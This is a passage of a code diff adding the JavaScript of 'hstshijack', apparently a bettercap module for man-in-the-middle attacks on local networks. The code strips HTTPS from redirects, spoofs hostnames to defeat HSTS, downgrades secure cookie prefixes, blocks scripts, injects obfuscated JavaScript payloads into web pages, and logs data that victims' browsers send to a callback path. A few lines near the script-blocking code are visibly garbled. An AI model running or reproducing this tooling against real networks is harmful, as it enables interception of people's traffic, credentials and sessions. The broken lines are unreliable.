+ log_fatal(err);
+ }
+ var host_selector_strings_req_headers = Object.keys(replacements_req_headers);
+ for (a = 0; a < host_selector_strings_req_headers.length; a++) {
+ var selector_string = host_selector_strings_req_headers[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_headers.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_headers.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_headers[selector_string].length; b++) {
+ var rx_set = replacements_req_headers[selector_string][b];
+ replacements_req_headers[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request body regex replacements. */
+ env["hstshijack.replacements.req.body"]
+ ? replacements_req_body_path = env["hstshijack.replacements.req.body"].replace(/\s/g, "")
+ : replacements_req_body_path = "";
+ try {
+ replacements_req_body = JSON.parse(readFile(replacements_req_body_path));
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_body = Object.keys(replacements_req_body);
+ for (a = 0; a < host_selector_strings_req_body.length; a++) {
+ var selector_string = host_selector_strings_req_body[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_body.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_body.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_body[selector_string].length; b++) {
+ var rx_set = replacements_req_body[selector_string][b];
+ replacements_req_body[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare payloads. */
+ env["hstshijack.payloads"]
+ ? payload_entries = env["hstshijack.payloads"].replace(/\s/g, "").split(",")
+ : payload_entries = [];
+ for (a = 0; a < payload_entries.length; a++) {
+ if (
+ !/^\*:.+$/i.test(payload_entries[a])
+ && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a])
+ && !rx_whole_suffix_wildcard_domain.test(payload_entries[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ").");
+ }
+ payload_host = payload_entries[a].replace(/[:].*/, "");
+ payload_path = payload_entries[a].replace(/.*[:]/, "");
+ payload = "";
+ if (!(payload = readFile(payload_path))) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ").");
+ } else {
+ payload = payload
+ .replace(/obf_hstshijack_target_hosts/g, varname_target_hosts)
+ .replace(/obf_hstshijack_replacement_hosts/g, varname_replacement_hosts)
+ .replace(/obf_hstshijack_path_callback/g, callback_path)
+ .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path)
+ .replace(/obf_hstshijack_path_whitelist/g, whitelist_path)
+ .replace(/obf_hstshijack_cookie_host_prefix/g, cookie_host_prefix)
+ .replace(/obf_hstshijack_cookie_secure_prefix/g, cookie_secure_prefix);
+ if (obfuscate) {
+ var obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || [];
+ obfuscation_variables = obfuscation_variables.sort().reverse();
+ for (b = 0; b < obfuscation_variables.length; b++) {
+ if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) {
+ regexp = new RegExp(obfuscation_variables[b], "g");
+ payload = payload.replace(regexp, randomString(8 + (Math.random() * 8)));
+ }
+ }
+ }
+ if (payloads[payload_host]) {
+ payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n";
+ } else {
+ payloads[payload_host] = payload + "\n";
+ }
+ }
+ }
+
+ /* Prepare payload container */
+ payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+ payload_container_prefix = payload_container_prefix +
+ "const " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" +
+ "const " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n";
+ payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+
+ /* Prepare whitelist */
+ whitelist_file_path = env["hstshijack.whitelist"];
+ try {
+ whitelist = JSON.parse(readFile(whitelist_file_path));
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet.");
+ }
+
+ /* Prepare SSL index */
+ ssl_index_check = env["hstshijack.ssl.index.check"].toLowerCase() || "true";
+ all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n");
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ ssl.index[ssl.prefixes[a]] = [];
+ }
+ if (all_domains.length === 0) {
+ log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset.");
+ } else {
+ if (ssl_index_check !== "false") {
+ log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ...");
+ all_domains.filter(function(domain) {
+ if (domain !== "") indexDomain(domain);
+ });
+ } else {
+ ssl.domains = all_domains;
+ index_file_contents = readFile(env["hstshijack.ssl.index"]);
+ if (ssl.domains.length !== 0 && index_file_contents === "") {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ try {
+ ssl.index = JSON.parse(index_file_contents);
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ indexed_domains_length = 0;
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ indexed_domains_length += ssl.index[ssl.prefixes[a]].length;
+ }
+ if (indexed_domains_length !== all_domains.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s).");
+ }
+ }
+
+ /* Ensure targeted hosts are in SSL log (no wildcards). */
+ for (var a = 0; a < target_hosts.length; a++) {
+ if (target_hosts[a].indexOf("*") === -1) {
+ indexDomain(target_hosts[a]);
+ }
+ }
+
+ saveSSLIndex();
+ log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains.");
+}
+
+function showConfig() {
+ /* Print module configuration. */
+ logStr = "\n";
+ logStr += " " + bold + "Caplet" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + "hstshijack.ssl.index.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.index.check"]) ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.payloads" + reset + " > ";
+ if (env["hstshijack.payloads"]) {
+ list = env["hstshijack.payloads"].replace(/\s/g, "").split(",");
+ logStr += green + list[0] + reset + "\n";
+ if (list.length > 1) {
+ for (a = 1; a < list.length; a++) {
+ logStr += " > " + green + list[a] + reset + "\n";
+ }
+ }
+ } else {
+ logStr += red + "undefined" + reset + "\n";
+ }
+ logStr += "\n";
+ logStr += " " + bold + "Commands" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n";
+ logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n";
+ logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n";
+ logStr += "\n";
+ logStr += " " + bold + "Session info" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n";
+ logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n";
+ logStr += " " + bold + " Whitelist path" + reset + " : " + whitelist_path + "\n";
+ logStr += " " + bold + " SSL index path" + reset + " : " + ssl_index_path + "\n";
+ logStr += " " + bold + " __Host- prefix" + reset + " : " + cookie_host_prefix + "\n";
+ logStr += " " + bold + "__Secure- prefix" + reset + " : " + cookie_secure_prefix + "\n";
+ logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n";
+ console.log(logStr);
+}
+
+function onCommand(cmd) {
+ if (cmd === "hstshijack.show") {
+ showConfig();
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.domains") {
+ if (ssl.domains.length > 20) {
+ truncated_domains = ssl.domains.slice(0, 20);
+ truncated_domains.push("...");
+ log_string = truncated_domains.join(reset + "\n " + yellow);
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n");
+ } else {
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n");
+ }
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.index") {
+ log_string = "\n" + bold + " SSL domain index" + reset + "\n";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ domain_prefix = ssl.prefixes[a];
+ log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")";
+ }
+ console.log(log_string + "\n");
+ return true;
+ }
+ if (cmd === "hstshijack.whitelist") {
+ console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n");
+ return true;
+ }
+}
+
+function onLoad() {
+ math_seed = new Date().getMilliseconds();
+ Math.random = function() {
+ r = Math.sin(math_seed++) * 10000;
+ return r - Math.floor(r);
+ }
+ String.prototype.startsWith = function(prefix) {
+ return this.slice(0, prefix.length) === prefix;
+ }
+
+ log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...");
+ session_id = randomString(8 + Math.random() * 8);
+ varname_target_hosts = randomString(8 + Math.random() * 8);
+ varname_replacement_hosts = randomString(8 + Math.random() * 8);
+ cookie_host_prefix = randomString(8 + Math.random() * 8);
+ cookie_secure_prefix = randomString(8 + Math.random() * 8);
+ callback_path = "/" + randomString(8 + Math.random() * 8);
+ whitelist_path = "/" + randomString(8 + Math.random() * 8);
+ ssl_index_path = "/" + randomString(8 + Math.random() * 8);
+
+ rx_global_cookie_host_prefix = new RegExp(cookie_host_prefix, "g");
+ rx_global_cookie_secure_prefix = new RegExp(cookie_secure_prefix, "g");
+
+ log_info(on_blue + "hstshijack" + reset + " Reading caplet ...");
+ configure();
+ log_info(on_blue + "hstshijack" + reset + " Module loaded.");
+ showConfig();
+}
+
+function onRequest(req, res) {
+ if (req.Path === ssl_index_path) {
+ /*
+ SSL callback.
+
+ Requests made for this path should include a hostname in the query so
+ this module can send a HEAD request to learn HTTPS redirects.
+ */
+ log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + ".");
+ queried_host = req.Query;
+ if (getDomainIndex(queried_host) === -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ...");
+ req.Hostname = queried_host;
+ req.Path = "/";
+ req.Query = "";
+ req.Body = "";
+ req.Method = "HEAD";
+ }
+ } else if (req.Path === callback_path) {
+ /*
+ Basic callback.
+
+ Requests made for this path will be dropped.
+ Requests made for this path will be printed.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n";
+ logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n";
+ headers = req.Headers.split("\r\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ } else if (req.Path === whitelist_path) {
+ /*
+ Whitelisting callback.
+
+ Requests made for this path will be dropped.
+ Requests made for this path will be printed.
+ Requests made for this path will stop all attacks towards this client with the requested hostname.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n";
+ logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n";
+ headers = req.Headers.split("\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ /* Add requested hostname to whitelist. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) {
+ whitelist[req.Client.MAC].push(req.Hostname);
+ }
+ } else {
+ whitelist[req.Client.MAC] = [req.Hostname];
+ }
+ /* Also whitelist unspoofed version of requested hostname. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ whitelist[req.Client.MAC].push(req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[a][0],
+ rx_sets_whole_replacement_hosts[a][1]));
+ break;
+ }
+ }
+ saveWhitelist();
+ } else {
+ /*
+ Not a callback.
+
+ Redirect client to the real host if a whitelist callback was received previously.
+ Restore spoofed hostnames and schemes in request.
+ */
+ req.ReadBody();
+
+ if (whitelist[req.Client.MAC]) {
+ for (a = 0; a < whitelist[req.Client.MAC].length; a++) {
+ whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], "");
+ whole_regexp_set[0].lastIndex = 0;
+ if (whole_regexp_set[0].test(req.Hostname)) {
+ /* Restore requested hostname if it was spoofed. */
+ var unspoofed_host;
+ for (b = 0; b < target_hosts.length; b++) {
+ rx_sets_whole_replacement_hosts[b][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[b][0].test(req.Hostname)) {
+ unspoofed_host = req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[b][0],
+ rx_sets_whole_replacement_hosts[b][1]);
+ query = (req.Query !== "" ? ("?" + req.Query) : "");
+ res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query);
+ res.Status = 301;
+ log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback.");
+ return;
+ }
+ }
+ }
+ }
+ }
+
+ /* Restore original hostnames. */
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostnames in headers. */
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Headers)) {
+ req.Headers = req.Headers.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s).");
+ }
+ }
+
+ /* Restore original hostnames in query URI. */
+ if (req.Query !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Query)) {
+ req.Query = req.Query.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI.");
+ }
+
+ /* Restore original hostnames in encoded query URI parameters. */
+ query_params = req.Query.split("&");
+ new_params = [];
+ for (b = 0; b < query_params.length; b++) {
+ param = query_params[b];
+ param_parts = param.match(rx_query_param);
+ if (param_parts) {
+ param_name = param_parts[1];
+ param_value = param_parts[2];
+ if (param_value.indexOf("%") !== -1) {
+ param_value_decoded = decodeURIComponent(param_value);
+ if (param_value !== param_value_decoded) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value_decoded)) {
+ param_value_decoded_unspoofed = param_value_decoded.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(
+ param_name + "=" + encodeURIComponent(param_value_decoded_unspoofed));
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value)) {
+ param_value_unspoofed = param_value.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(param_name + "=" + param_value_unspoofed);
+ } else {
+ new_params.push(param);
+ }
+ }
+ } else {
+ new_params.push(param);
+ }
+ }
+ new_query_string = new_params.join("&");
+ if (new_query_string !== req.Query) {
+ req.Query = new_query_string;
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostname of request. */
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ spoofed_host = req.Hostname;
+ req.Hostname = req.Hostname.replace(rx_sets_whole_replacement_hosts[a][0], rx_sets_whole_replacement_hosts[a][1]);
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme.");
+ break;
+ }
+ }
+
+ /* Restore HTTPS scheme. */
+ if (getDomainIndex(req.Hostname) !== -1) {
+ /* Restore HTTPS scheme of request if domain is indexed. */
+ if (req.Scheme !== "https") {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + ".");
+ }
+ /* Restore HTTPS scheme in request headers if requested domain is indexed. */
+// fix this by searching for all URLs and then finding if they need SSL
+ escaped_domain = req.Hostname.replace(rx_all_dots, "[.]").replace(rx_all_dashes, "[-]");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ regexp.lastIndex = 0;
+ if (regexp.test(req.Headers)) {
+ req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ } else { /* If requested domain is not indexed. */
+
+ // we can perform an SSL check synchronously with a set timeout, and/or we can
+ // perform an SSL check asynchronously for future hijacking attempts
+
+ log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed.");
+ /* Restore HTTPS scheme of request if domain is targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(req.Hostname)) {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ }
+
+ /* Execute regex header replacements. */
+ Object.keys(replacements_req_headers).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_headers[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_headers[a].test(req.Hostname)) {
+ replacements_req_headers[selector_string].forEach(function(rx_set) {
+ req.Headers = req.Headers.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex body replacements. */
+ Object.keys(replacements_req_body).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_body[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_body[a].test(req.Hostname)) {
+ replacements_req_body[selector_string].forEach(function(rx_set) {
+ req.Body = req.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex URL replacements. */
+
+ /* Restore cookies. */
+ req.Headers = req.Headers
+ .replace(rx_global_cookie_host_prefix, "__Host-")
+ .replace(rx_global_cookie_secure_prefix, "__Secure-");
+ }
+//if (req.Path.indexOf("error") !== -1) console.log(JSON.stringify(req, null, 4));
+}
+
+function onResponse(req, res) {
+ res.ReadBody();
+
+ /* Remember HTTPS redirects. */
+ var location = res.GetHeader("Location", "");
+ if (rx_uri_one.test(location)) {
+ indexDomain(location.replace(rx_uri_two, "$1"));
+ }
+
+ /* Ignore this response if whitelisted. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + ".");
+ return;
+ }
+ } else {
+ for (a = 0; a < ignore_hosts.length; a++) {
+ var whole_regexp_set;
+ if (ignore_hosts[a] !== "*") {
+ whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "");
+ }
+
+ whole_regexp_set[0].lastIndex = 0;
+ if (
+ ignore_hosts[a] === "*"
+ || whole_regexp_set[0].test(req.Hostname)
+ ) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".");
+ return;
+ }
+ }
+
+ /* Spoof markup bodies. */
+ if (
+ rx_content_type_html.test(res.ContentType)
+ || rx_extension_html.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.html).forEach(function(selector_string, a) {
+ var rx_sets = replacements_res_body.html[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_html[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = res.Body.replace(rx_html_script_open_tag, "
\n";
+ res.Body = res.Body.slice(0, match.index) +
+ injection +
+ res.Body.slice(match.index + match[0].length, res.Body.length);
+ } else {
+ res.Body =
+ "\n" +
+ res.Body;
+ }
+ }
+ log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JavaScript bodies. */
+ if (
+ rx_content_type_js.test(res.ContentType)
+ || rx_extension_js.test(req.Path)
+ ) {
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = "";
+ log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.javascript).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.javascript[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_javascript[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Inject payloads. */
+ injection = "";
+ for (a = 0; a < Object.keys(payloads).length; a++) {
+ injecting_host = Object.keys(payloads)[a];
+ if (
+ injecting_host === "*"
+ || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
+ ) {
+ injection = injection + payloads[injecting_host];
+ }
+ }
+ if (injection !== "") {
+ res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
+ log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JSON bodies. */
+ if (
+ rx_content_type_json.test(res.ContentType)
+ || rx_extension_json.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.json).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.json[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_json[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+ }
+
+ /* Strip SSL from location headers. */
+ res.Headers = res.Headers
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(rx_port_https, "$1");
+
+ /* Spoof hosts in headers. */
+ for (a = 0; a < target_hosts.length; a++) {
+ res.Headers = res.Headers.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ }
+
+ /* Spoof cookies. */
+ var cookie_strings = res.GetHeaders("set-cookie");
+ cookie_strings.forEach(function(cookie_string) {
+ var cookie = parseCookie(cookie_string);
+ if (downgrade_cookies) {
